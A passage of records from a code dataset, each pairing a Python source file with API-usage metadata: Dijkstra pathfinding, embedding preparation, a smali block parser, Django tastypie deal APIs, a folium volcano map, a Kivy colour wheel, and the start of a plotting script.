{"api_name": "numpy.array", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 73, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 81, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 82, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 83, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 94, "usage_type": "call"}]} +{"seq_id": "481155667", "text": "import json\n\ninf = float('inf')\n\nif __name__ == '__main__':\n g = json.loads(open('input.txt').read())\n n = len(g)\n\n s = 0\n d = [inf] * n\n p = [0] * n\n\n d[s] = 0\n u = [False] * n\n\n for i in range(n):\n v = -1\n for j in range(n):\n if not u[j] and (v == -1 or d[j] < d[v]):\n v = j\n\n if d[v] == inf:\n break\n u[v] = True\n\n for j in range(len(g[v])):\n to = g[v][j][0]\n l = g[v][j][1]\n\n if d[v] + l < d[to]:\n d[to] = d[v] + l\n p[to] = v\n\n print(d)\n\n for i in range(1, n):\n v = i\n path = []\n while v != s:\n v = p[v]\n path.insert(0, v)\n\n path.append(i)\n\n print(\"Path from {} to {} : {}\".format(s, i, path))\n", "sub_path": "Passed/l6/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 819, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "json.loads", "line_number": 6, "usage_type": "call"}]} +{"seq_id": "644652459", "text": "\"\"\"\nPrepare embeddings and dictionaries\n\nexport ABS_EMB=~/myfiles/vecmap/data/vecmap_output/30k.wiki.abs.src.sup.vec\nexport EXT_EMB=~/myfiles/vecmap/data/vecmap_output/30k.wiki.ext.src.sup.vec\nexport MODEL=fast_text\n\"\"\"\n\nimport pickle as pkl\nimport torch\nimport os\n\n# Insert paths\nMODEL = os.environ['MODEL']\nABS_EMB_PATH = os.environ['ABS_EMB']\nEXT_EMB_PATH = os.environ['EXT_EMB']\n\n# create abstractor DICTIONARY and and save it on disk\nvocab = {}\nfor ind, line in enumerate(open(ABS_EMB_PATH, 'r').readlines()):\n word, vec = line.split(\" \", 1)\n vocab[word] = ind\nwith open('{}/pretrained/acl/abstractor/vocab.pkl'.format(MODEL), 'wb') as fp:\n pkl.dump(vocab, fp)\n\n# save abstractor EMBEDDINGS\nweights = []\nfor line in open(ABS_EMB_PATH).readlines():\n word, vec = line.split(' ', 1)\n weights.append([float(num) for num in vec.split()])\nweights = torch.tensor(weights)\ntorch.save(weights, '{}/embeddings/abs-weights.pt'.format(MODEL))\n\n# create extractor DICTIONARY and save it on disk\nvocab = {}\nfor ind, line in enumerate(open(EXT_EMB_PATH, 'r').readlines()):\n word, vec = line.split(\" \", 1)\n vocab[word] = ind\nwith open('{}/pretrained/acl/agent_vocab.pkl'.format(MODEL), 'wb') as fp:\n pkl.dump(vocab, fp)\n\n# save extractor EMBEDDINGS\nweights = []\nfor line in open(EXT_EMB_PATH).readlines():\n word, vec = line.split(' ', 1)\n weights.append([float(num) for num in vec.split()])\nweights = torch.tensor(weights)\ntorch.save(weights, '{}/embeddings/ext-weights.pt'.format(MODEL))\n\n# inspect dictionaries\n#VOCAB = '3_models/fast_abs_rl_slo_model_weight_update_export_beams/pretrained_eng_model/agent_vocab.pkl'\n#VOCAB = '1_data/pretrained/new/agent_vocab.pkl'\n#\n#with open(VOCAB, 'rb') as fp:\n# dic = pkl.load(fp)\n# d_view = [(v, k) for k, v in dic.items()]\n# d_view.sort()\n", "sub_path": "embeddings/prepare_dictionary_and_weights_server.py", "file_name": "prepare_dictionary_and_weights_server.py", "file_ext": "py", "file_size_in_byte": 1810, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 32, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 48, "usage_type": "call"}]} +{"seq_id": "443765457", "text": "from typing import List, Union, Type, NewType, Generic\n\nfrom smali.exceptions import FormatError\nfrom smali.statements import Statement, StatementType\n\nBlockItem = NewType('BlockItem', Union[Statement, 'Block'])\nBlockItemType = NewType('BlockItemType', Union[StatementType, 'Block[StatementType]'])\n\n\nclass Block(Generic[StatementType]):\n INDENT_SIZE = 4\n INDENT_CHAR = ' '\n\n items: List[BlockItem]\n\n def __init__(self):\n self.items = []\n\n def append(self, item: BlockItem):\n self.items.append(item)\n\n def extend(self, items: List[BlockItem]):\n self.items.extend(items)\n\n @property\n def head(self) -> StatementType:\n if isinstance(self.items[0], Statement):\n return self.items[0]\n else:\n return self.items[0].head\n\n def flatten(self) -> List[Statement]:\n result = []\n for item in self.items:\n if isinstance(item, Statement):\n result.append(item)\n elif isinstance(item, Block):\n result.extend(item.flatten())\n else:\n raise FormatError(f'invalid item type: {type(item)}')\n return result\n\n @staticmethod\n def _match_item(item: Statement, **attributes) -> bool:\n for key, value in attributes.items():\n if not hasattr(item, key):\n return False\n if getattr(item, key) != value:\n return False\n return True\n\n def find(self, stmt_type: Type[StatementType], **kwargs) -> List[BlockItemType]:\n result = []\n for item in self.items:\n if isinstance(item, Block):\n if isinstance(item.head, stmt_type) and Block._match_item(item.head, **kwargs):\n result.append(item)\n else:\n result.extend(item.find(stmt_type, **kwargs))\n elif isinstance(item, stmt_type) and Block._match_item(item, **kwargs):\n result.append(item)\n return result\n", "sub_path": "smali/block.py", "file_name": "block.py", "file_ext": "py", "file_size_in_byte": 1998, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "typing.NewType", "line_number": 6, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 6, "usage_type": "name"}, {"api_name": "smali.statements.Statement", "line_number": 6, "usage_type": "name"}, {"api_name": "typing.NewType", "line_number": 7, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 7, "usage_type": "name"}, {"api_name": "smali.statements.StatementType", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.Generic", "line_number": 10, "usage_type": "name"}, {"api_name": "smali.statements.StatementType", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 22, "usage_type": "name"}, {"api_name": "smali.statements.Statement", "line_number": 27, "usage_type": "argument"}, {"api_name": "smali.statements.StatementType", "line_number": 26, "usage_type": "name"}, {"api_name": "smali.statements.Statement", "line_number": 35, "usage_type": "argument"}, {"api_name": "smali.exceptions.FormatError", "line_number": 40, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 32, "usage_type": "name"}, {"api_name": "smali.statements.Statement", "line_number": 32, "usage_type": "name"}, {"api_name": "smali.statements.Statement", "line_number": 44, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 52, "usage_type": "name"}, {"api_name": "smali.statements.StatementType", "line_number": 52, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 52, "usage_type": "name"}]} +{"seq_id": "463747361", "text": "# -*- coding: utf-8 -*-\nimport json\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.conf import settings\nfrom django.contrib.contenttypes.models import ContentType\nfrom tastypie.paginator import Paginator\nfrom tastypie.constants import ALL, ALL_WITH_RELATIONS\nfrom tastypie.serializers import Serializer\nfrom tastypie.validation import FormValidation\nfrom tastypie.exceptions import NotFound\nfrom tastypie.authentication import Authentication, SessionAuthentication\nfrom tastypie.authorization import Authorization\nfrom tastypie import fields\nfrom client.models import Tag\nfrom deal.models import Deal, DealItem\nfrom deal.forms import DealForm\nfrom deal.authorization import DealAuthorization, DealItemAuthorization\nfrom note.models import Note\nfrom backend_log.logging_handler import ModelResourceProxy as ModelResource\n\n\nclass DealResource(ModelResource):\n client = fields.ForeignKey('client.api.ClientResource', 'client', full=False, null=True)\n case = fields.ForeignKey('client.api.CaseResource', 'case', full=False, null=True)\n user = fields.ForeignKey('account.api.UserResource', 'user', full=False, null=True)\n\n class Meta:\n response_name = 'deal'\n queryset = Deal.active.all()\n fields = ['id', 'client', 'case', 'user', 'name', 'price', 'description',\n 'status', 'is_active', 'created', 'creator_ip', 'tag']\n filtering = {\n \"id\": ALL,\n 'is_active': ALL,\n 'created': ALL,\n 'name': ALL,\n 'price': ALL,\n 'status': ALL,\n 'client': ALL_WITH_RELATIONS,\n 'case': ALL_WITH_RELATIONS,\n }\n authorization = DealAuthorization()\n authentication = SessionAuthentication()\n validation = FormValidation(form_class=DealForm)\n serializer = Serializer(formats=['json', 'jsonp'])\n paginator_class = Paginator\n list_allowed_methods = ['get', 'post', 'put']\n detail_allowed_methods = ['get', 'post', 'put']\n ordering = ['id', 'name', 'price', 'status']\n always_return_data = True\n\n def hydrate(self, bundle):\n tag_list = bundle.data.get('tag_list', None)\n if tag_list:\n bundle.obj.tag = Tag.objects.filter(id__in=tag_list)\n return super(DealResource, self).hydrate(bundle)\n\n def dehydrate(self, bundle):\n bundle.data['pre_sale'] = {\"id\": bundle.obj.case.user.id, \"name\": bundle.obj.case.user.username}\n bundle.data['sell'] = {\"id\": bundle.obj.user.id, \"name\": bundle.obj.user.username}\n ticket_set = bundle.obj.ticket_set.filter(is_active=True)\n if ticket_set.exists() and ticket_set[0].assignee:\n bundle.data['after_sale'] = {\"id\": ticket_set[0].assignee.id, \"name\": ticket_set[0].assignee.username}\n\n bundle.data['username'] = bundle.obj.user.name\n bundle.data['case_name'] = bundle.obj.case\n bundle.data['case_id'] = bundle.obj.case.id\n bundle.data['case_info'] = {\n \"name\": bundle.obj.case.name,\n \"tag\": bundle.obj.case.tag,\n \"user\": bundle.obj.case.user,\n \"created\": bundle.obj.case.created,\n }\n bundle.data['tag'] = [{'id': item.id, 'name': item.name} for item in bundle.obj.tag.all()]\n bundle.data['client_info'] = [bundle.obj.client, bundle.obj.client.importance]\n bundle.data['client_id'] = bundle.obj.client.id\n bundle.data['dealitem'] = [{\n \"id\": item.id,\n \"resource_uri\": \"/api/v1/product/%s\" % (item.product.id),\n \"product_name\": item.product,\n \"product_id\": item.product.id,\n \"quantity\": item.quantity,\n \"price\": float(item.product.price)} for item in bundle.obj.dealitem_set.filter(is_active=True)]\n\n bundle.data['deal_tickets'] = [{\n \"id\": item.id,\n \"name\": item.name,\n \"username\": item.user.username,\n } for item in bundle.obj.ticket_set.filter(is_active=True)]\n\n\n bundle.data['contacts'] = {\n \"name\": bundle.obj.client.name,\n \"tel\": bundle.obj.client.tel,\n \"mobile\": bundle.obj.client.mobile,\n \"qq\": bundle.obj.client.qq,\n \"email\": bundle.obj.client.email,\n \"address\": bundle.obj.client.address,\n }\n contacts = bundle.obj.client.contact_set.filter(is_active=True)\n if contacts.exists():\n bundle.data['contacts']['others'] = [{\"id\": contact.id, \"name\": contact.name} for contact in contacts]\n if bundle.obj.price:\n bundle.data['price'] = float(bundle.obj.price)\n return bundle\n\n def obj_create(self, bundle, **kwargs):\n bundle = super(DealResource, self).obj_create(bundle, company=bundle.request.user.company, **kwargs)\n return bundle\n\n def build_filters(self, filters, **kwargs):\n orm_filters = super(DealResource, self).build_filters(filters)\n tag_filter = filters.get('tag_filter', None)\n if tag_filter:\n orm_filters['tag__id__contains'] = tag_filter\n return orm_filters\n\nclass DealItemResource(ModelResource):\n deal = fields.ForeignKey('deal.api.DealResource', 'deal', full=False, null=True)\n product = fields.ForeignKey('catalog.api.ProductResource', 'product', full=False, null=True)\n\n class Meta:\n response_name = 'dealitem'\n queryset = DealItem.active.all().filter(deal__is_active=True)\n fields = ['id', 'deal', 'product', 'quantity', 'is_active', 'creator_ip',]\n filtering = {\n \"id\": ALL,\n \"is_active\": ALL,\n \"deal\": ALL_WITH_RELATIONS,\n }\n authorization = DealItemAuthorization()\n authentication = SessionAuthentication()\n serializer = Serializer(formats=['json', 'jsonp'])\n paginator_class = Paginator\n list_allowed_methods = ['get', 'put', 'post']\n detail_allowed_methods = ['get', 'put', 'post']\n ordering = ['id']\n always_return_data = True\n\n def dehydrate(self, bundle):\n bundle.data['product_name'] = bundle.obj.product.name\n bundle.data['price'] = bundle.obj.product.price\n bundle.data['product_id'] = bundle.obj.product.id\n return bundle\n", "sub_path": "deal/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 6243, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "backend_log.logging_handler.ModelResourceProxy", "line_number": 22, "usage_type": "name"}, {"api_name": "client.models", "line_number": 23, "usage_type": "name"}, {"api_name": "tastypie.fields.ForeignKey", "line_number": 23, "usage_type": "call"}, {"api_name": "tastypie.fields", "line_number": 23, "usage_type": "name"}, {"api_name": "tastypie.fields.ForeignKey", "line_number": 24, "usage_type": "call"}, {"api_name": "tastypie.fields", "line_number": 24, "usage_type": "name"}, {"api_name": "tastypie.fields.ForeignKey", "line_number": 25, "usage_type": "call"}, {"api_name": "tastypie.fields", "line_number": 25, "usage_type": "name"}, {"api_name": "deal.models.Deal.active.all", "line_number": 29, "usage_type": "call"}, {"api_name": "deal.models.Deal.active", "line_number": 29, "usage_type": "attribute"}, {"api_name": "deal.models.Deal", "line_number": 29, "usage_type": "name"}, {"api_name": "tastypie.fields", "line_number": 30, "usage_type": "name"}, {"api_name": "tastypie.constants.ALL", "line_number": 33, "usage_type": "name"}, {"api_name": "tastypie.constants.ALL", "line_number": 34, "usage_type": "name"}, {"api_name": "tastypie.constants.ALL", "line_number": 35, "usage_type": "name"}, {"api_name": "tastypie.constants.ALL", "line_number": 36, "usage_type": "name"}, {"api_name": "tastypie.constants.ALL", "line_number": 37, "usage_type": "name"}, {"api_name": "tastypie.constants.ALL", "line_number": 38, "usage_type": "name"}, {"api_name": "tastypie.constants.ALL_WITH_RELATIONS", "line_number": 39, "usage_type": "name"}, {"api_name": "tastypie.constants.ALL_WITH_RELATIONS", "line_number": 40, "usage_type": "name"}, {"api_name": "deal.authorization.DealAuthorization", "line_number": 42, "usage_type": "call"}, {"api_name": "tastypie.authentication.SessionAuthentication", "line_number": 43, "usage_type": "call"}, {"api_name": "tastypie.validation.FormValidation", "line_number": 44, "usage_type": "call"}, {"api_name": "deal.forms.DealForm", "line_number": 44, "usage_type": "name"}, {"api_name": "tastypie.serializers.Serializer", "line_number": 45, "usage_type": "call"}, {"api_name": "tastypie.paginator.Paginator", "line_number": 46, "usage_type": "name"}, {"api_name": "client.models.Tag.objects.filter", "line_number": 55, "usage_type": "call"}, {"api_name": "client.models.Tag.objects", "line_number": 55, "usage_type": "attribute"}, {"api_name": "client.models.Tag", "line_number": 55, "usage_type": "name"}, {"api_name": "backend_log.logging_handler.ModelResourceProxy", "line_number": 118, "usage_type": "name"}, {"api_name": "deal.models", "line_number": 119, "usage_type": "name"}, {"api_name": "tastypie.fields.ForeignKey", "line_number": 119, "usage_type": "call"}, {"api_name": "tastypie.fields", "line_number": 119, "usage_type": "name"}, {"api_name": "tastypie.fields.ForeignKey", "line_number": 120, "usage_type": "call"}, {"api_name": "tastypie.fields", "line_number": 120, "usage_type": "name"}, {"api_name": "deal.models.DealItem.active.all", "line_number": 124, "usage_type": "call"}, {"api_name": "deal.models.DealItem.active", "line_number": 124, "usage_type": "attribute"}, {"api_name": "deal.models.DealItem", "line_number": 124, "usage_type": "name"}, {"api_name": "tastypie.fields", "line_number": 125, "usage_type": "name"}, {"api_name": "tastypie.constants.ALL", "line_number": 127, "usage_type": "name"}, {"api_name": "tastypie.constants.ALL", "line_number": 128, "usage_type": "name"}, {"api_name": "tastypie.constants.ALL_WITH_RELATIONS", "line_number": 129, "usage_type": "name"}, {"api_name": "deal.authorization.DealItemAuthorization", "line_number": 131, "usage_type": "call"}, {"api_name": "tastypie.authentication.SessionAuthentication", "line_number": 132, "usage_type": "call"}, {"api_name": "tastypie.serializers.Serializer", "line_number": 133, "usage_type": "call"}, {"api_name": "tastypie.paginator.Paginator", "line_number": 134, "usage_type": "name"}]} +{"seq_id": "362583956", "text": "import folium\nimport pandas as pd\n\n# read the volcano.txt file (even though the\n# function is 'read_csv') and store as 'df1' variable,\n# then read national_parks.csv and save as 'df2'\ndf1 = pd.read_csv(\"volcano.txt\")\ndf2 = pd.read_csv(\"us_national_parks.txt\")\ndf3 = pd.read_csv(\"us_capital.txt\")\n\n\n# correct apostrophes that mess with separation\ndf1['NAME'] = df1['NAME'].str.replace(\"'\", \"'\")\ndf2['Name'] = df2['Name'].str.replace(\"'\", \"'\")\n\navg_lat = (df1['LAT'].mean() + df2['Latitude'].mean()) / 2\navg_lon = (df1['LON'].mean() + df2['Longitude'].mean()) / 2\nlatmean = avg_lat\nlonmean = avg_lon\n\nmap = folium.Map(location=[latmean, lonmean], zoom_start=4, tiles='Stamen Terrain')\n\n\n# function that determines marker color based on elevation\ndef color(elevation):\n if elevation in range(0, 1000):\n col = 'green'\n elif elevation in range(1001, 1999):\n col = 'orange'\n elif elevation in range(2000, 2999):\n col = 'blue'\n else:\n col = 'red'\n return col\n\n\n# create a for loop that will go through each volcano and mark it. We zip it due to the different iterators we want\nfor lat1, lon1, name1, elev in zip(df1['LAT'], df1['LON'], df1['NAME'], df1['ELEV']):\n folium.Marker(location=[lat1, lon1], popup=name1, icon=folium.Icon(color=color(elev), icon_color='white', icon='cloud')).add_to(map)\n\n# create a for loop that will go through each national park and mark it gray\nfor lat2, lon2, name2 in zip(df2['Latitude'], df2['Longitude'], df2['Name']):\n folium.Marker(location=[lat2, lon2], popup=name2, icon=folium.Icon(color='purple', icon='info-sign')).add_to(map)\n\n\n# create a for loop that will go through each us city and mark it yellow\nfor lat3, lon3, city, state in zip(df3['Latitude'], df3['Longitude'], df3['CITY'], df3['STATE']):\n folium.Marker(location=[lat3, lon3], popup=city+\", \"+state, icon=folium.Icon(color='black', icon='star')).add_to(map)\n\nprint(map.save('mark_map.html'))\n\n", "sub_path": "web_map.py", "file_name": "web_map.py", "file_ext": "py", "file_size_in_byte": 1948, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pandas.read_csv", "line_number": 7, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "folium.Map", "line_number": 21, "usage_type": "call"}, {"api_name": "folium.Marker", "line_number": 39, "usage_type": "call"}, {"api_name": "folium.Icon", "line_number": 39, "usage_type": "call"}, {"api_name": "folium.Marker", "line_number": 43, "usage_type": "call"}, {"api_name": "folium.Icon", "line_number": 43, "usage_type": "call"}, {"api_name": "folium.Marker", "line_number": 48, "usage_type": "call"}, {"api_name": "folium.Icon", "line_number": 48, "usage_type": "call"}]} +{"seq_id": "319008421", "text": "from kivy.uix.colorpicker import rect_to_polar\nfrom kivy.uix.widget import Widget\nfrom kivy.properties import (NumericProperty, BoundedNumericProperty,\n ListProperty,\n ReferenceListProperty)\nfrom kivy.clock import Clock\nfrom kivy.graphics import Color\nfrom math import pi\n\nfrom colorPickerCustom.colorArc import _ColorArc\nfrom colorPickerCustom.colorPickerApp import distance\n\n\nclass ColorWheel(Widget):\n '''Chromatic wheel for the ColorPicker.\n\n .. versionchanged:: 1.7.1\n `font_size`, `font_name` and `foreground_color` have been removed. The\n sizing is now the same as others widget, based on 'sp'. Orientation is\n also automatically determined according to the width/height ratio.\n\n '''\n\n r = BoundedNumericProperty(0, min=0, max=1)\n '''The Red value of the color currently selected.\n\n :attr:`r` is a :class:`~kivy.properties.BoundedNumericProperty` and\n can be a value from 0 to 1. It defaults to 0.\n '''\n\n g = BoundedNumericProperty(0, min=0, max=1)\n '''The Green value of the color currently selected.\n\n :attr:`g` is a :class:`~kivy.properties.BoundedNumericProperty`\n and can be a value from 0 to 1.\n '''\n\n b = BoundedNumericProperty(0, min=0, max=1)\n '''The Blue value of the color currently selected.\n\n :attr:`b` is a :class:`~kivy.properties.BoundedNumericProperty` and\n can be a value from 0 to 1.\n '''\n\n a = BoundedNumericProperty(0, min=0, max=1)\n '''The Alpha value of the color currently selected.\n\n :attr:`a` is a :class:`~kivy.properties.BoundedNumericProperty` and\n can be a value from 0 to 1.\n '''\n\n color = ReferenceListProperty(r, g, b, a)\n '''The holds the color currently selected.\n\n :attr:`color` is a :class:`~kivy.properties.ReferenceListProperty` and\n contains a list of `r`, `g`, `b`, `a` values.\n '''\n\n _origin = ListProperty((100, 100))\n _radius = NumericProperty(100)\n\n _piece_divisions = NumericProperty(10)\n _pieces_of_pie = NumericProperty(16)\n\n _inertia_slowdown = 1.25\n _inertia_cutoff = .25\n\n _num_touches = 0\n _pinch_flag = False\n\n _hsv = ListProperty([1, 1, 1, 0])\n\n def __init__(self, **kwargs):\n super(ColorWheel, self).__init__(**kwargs)\n\n pdv = self._piece_divisions\n self.sv_s = [(float(x) / pdv, 1) for x in range(pdv)] + [\n (1, float(y) / pdv) for y in reversed(range(pdv))]\n\n def on__origin(self, instance, value):\n self.init_wheel(None)\n\n def on__radius(self, instance, value):\n self.init_wheel(None)\n\n def init_wheel(self, dt,):\n # initialize list to hold all meshes\n self.canvas.clear()\n self.arcs = []\n self.sv_idx = 0\n pdv = self._piece_divisions\n ppie = self._pieces_of_pie\n\n for r in range(pdv):\n for t in range(ppie):\n self.arcs.append(\n _ColorArc(\n self._radius * (float(r) / float(pdv)),\n self._radius * (float(r + 1) / float(pdv)),\n 2 * pi * (float(t) / float(ppie)),\n 2 * pi * (float(t + 1) / float(ppie)),\n origin=self._origin,\n color=(float(t) / ppie,\n self.sv_s[self.sv_idx + r][0],\n self.sv_s[self.sv_idx + r][1],\n 1)))\n\n self.canvas.add(self.arcs[-1])\n\n def recolor_wheel(self):\n ppie = self._pieces_of_pie\n for idx, segment in enumerate(self.arcs):\n segment.change_color(\n sv=self.sv_s[int(self.sv_idx + idx / ppie)])\n\n def change_alpha(self, val):\n for idx, segment in enumerate(self.arcs):\n segment.change_color(a=val)\n\n def inertial_incr_sv_idx(self, dt):\n # if its already zoomed all the way out, cancel the inertial zoom\n if self.sv_idx == len(self.sv_s) - self._piece_divisions:\n return False\n\n self.sv_idx += 1\n self.recolor_wheel()\n if dt * self._inertia_slowdown > self._inertia_cutoff:\n return False\n else:\n Clock.schedule_once(self.inertial_incr_sv_idx,\n dt * self._inertia_slowdown)\n\n def inertial_decr_sv_idx(self, dt):\n # if its already zoomed all the way in, cancel the inertial zoom\n if self.sv_idx == 0:\n return False\n self.sv_idx -= 1\n self.recolor_wheel()\n if dt * self._inertia_slowdown > self._inertia_cutoff:\n return False\n else:\n Clock.schedule_once(self.inertial_decr_sv_idx,\n dt * self._inertia_slowdown)\n\n def on_touch_down(self, touch):\n r = self._get_touch_r(touch.pos)\n if r > self._radius:\n return False\n\n # code is still set up to allow pinch to zoom, but this is\n # disabled for now since it was fiddly with small wheels.\n # Comment out these lines and adjust on_touch_move to reenable\n # this.\n if self._num_touches != 0:\n return False\n\n touch.grab(self)\n self._num_touches += 1\n touch.ud['anchor_r'] = r\n touch.ud['orig_sv_idx'] = self.sv_idx\n touch.ud['orig_time'] = Clock.get_time()\n\n def on_touch_move(self, touch):\n if touch.grab_current is not self:\n return\n r = self._get_touch_r(touch.pos)\n goal_sv_idx = (touch.ud['orig_sv_idx'] -\n int((r - touch.ud['anchor_r']) /\n (float(self._radius) / self._piece_divisions)))\n\n if (\n goal_sv_idx != self.sv_idx and\n goal_sv_idx >= 0 and\n goal_sv_idx <= len(self.sv_s) - self._piece_divisions\n ):\n # this is a pinch to zoom\n self._pinch_flag = True\n self.sv_idx = goal_sv_idx\n self.recolor_wheel()\n\n def on_touch_up(self, touch):\n if touch.grab_current is not self:\n return\n touch.ungrab(self)\n self._num_touches -= 1\n if self._pinch_flag:\n if self._num_touches == 0:\n # user was pinching, and now both fingers are up. Return\n # to normal\n if self.sv_idx > touch.ud['orig_sv_idx']:\n Clock.schedule_once(\n self.inertial_incr_sv_idx,\n (Clock.get_time() - touch.ud['orig_time']) /\n (self.sv_idx - touch.ud['orig_sv_idx']))\n\n if self.sv_idx < touch.ud['orig_sv_idx']:\n Clock.schedule_once(\n self.inertial_decr_sv_idx,\n (Clock.get_time() - touch.ud['orig_time']) /\n (self.sv_idx - touch.ud['orig_sv_idx']))\n\n self._pinch_flag = False\n return\n else:\n # user was pinching, and at least one finger remains. We\n # don't want to treat the remaining fingers as touches\n return\n else:\n r, theta = rect_to_polar(self._origin, *touch.pos)\n # if touch up is outside the wheel, ignore\n if r >= self._radius:\n return\n # compute which ColorArc is being touched (they aren't\n # widgets so we don't get collide_point) and set\n # _hsv based on the selected ColorArc\n piece = int((theta / (2 * pi)) * self._pieces_of_pie)\n division = int((r / self._radius) * self._piece_divisions)\n self._hsv = \\\n self.arcs[self._pieces_of_pie * division + piece].color\n\n def on__hsv(self, instance, value):\n c_hsv = Color(*value, mode='hsv')\n self.r = c_hsv.r\n self.g = c_hsv.g\n self.b = c_hsv.b\n self.a = c_hsv.a\n self.rgba = (self.r, self.g, self.b, self.a)\n\n def _get_touch_r(self, pos):\n return distance(pos, self._origin)\n\n", "sub_path": "colorPickerCustom/ColorWheel.py", "file_name": "ColorWheel.py", "file_ext": "py", "file_size_in_byte": 8052, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "kivy.uix.widget.Widget", "line_number": 14, "usage_type": "name"}, {"api_name": "kivy.properties.BoundedNumericProperty", "line_number": 24, "usage_type": "call"}, {"api_name": "kivy.properties.BoundedNumericProperty", "line_number": 31, "usage_type": "call"}, {"api_name": "kivy.properties.BoundedNumericProperty", "line_number": 38, "usage_type": "call"}, {"api_name": "kivy.properties.BoundedNumericProperty", "line_number": 45, "usage_type": "call"}, {"api_name": "kivy.properties.ReferenceListProperty", "line_number": 52, "usage_type": "call"}, {"api_name": "kivy.properties.ListProperty", "line_number": 59, "usage_type": "call"}, {"api_name": "kivy.properties.NumericProperty", "line_number": 60, "usage_type": "call"}, {"api_name": "kivy.properties.NumericProperty", "line_number": 62, "usage_type": "call"}, {"api_name": "kivy.properties.NumericProperty", "line_number": 63, "usage_type": "call"}, {"api_name": "kivy.properties.ListProperty", "line_number": 71, "usage_type": "call"}, {"api_name": "colorPickerCustom.colorArc._ColorArc", "line_number": 97, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 100, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 101, "usage_type": "name"}, {"api_name": "kivy.clock.Clock.schedule_once", "line_number": 130, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 130, "usage_type": "name"}, {"api_name": "kivy.clock.Clock.schedule_once", "line_number": 142, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 142, "usage_type": "name"}, {"api_name": "kivy.clock.Clock.get_time", "line_number": 161, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 161, "usage_type": "name"}, {"api_name": "kivy.clock.Clock.schedule_once", "line_number": 191, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 191, "usage_type": "name"}, {"api_name": "kivy.clock.Clock.get_time", "line_number": 193, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 193, "usage_type": "name"}, {"api_name": "kivy.clock.Clock.schedule_once", "line_number": 197, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 197, "usage_type": "name"}, {"api_name": "kivy.clock.Clock.get_time", "line_number": 199, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 199, "usage_type": "name"}, {"api_name": "kivy.uix.colorpicker.rect_to_polar", "line_number": 209, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 216, "usage_type": "name"}, {"api_name": "kivy.graphics.Color", "line_number": 222, "usage_type": "call"}, {"api_name": "colorPickerCustom.colorPickerApp.distance", "line_number": 230, "usage_type": "call"}]} +{"seq_id": "167329262", "text": "#!/usr/bin/env python3\n\nimport glob\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport sys\nfrom common import sizeof_fmt, common_style, mk_groups, KBYTES, SMALL_SIZE, MEDIUM_SIZE, LARGE_SIZE\n\nlabels = {\n 'app-sqlite-linux-native.dat': 'Linux\\n(native)',\n 'app-sqlite-newlib-native.dat': 'newlib\\n(native)',\n 'app-sqlite-musl-native.dat': 'musl\\n(native)',\n 'app-sqlite-musl-compat.dat': 'musl\\n(external)',\n }\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"Usage: {}
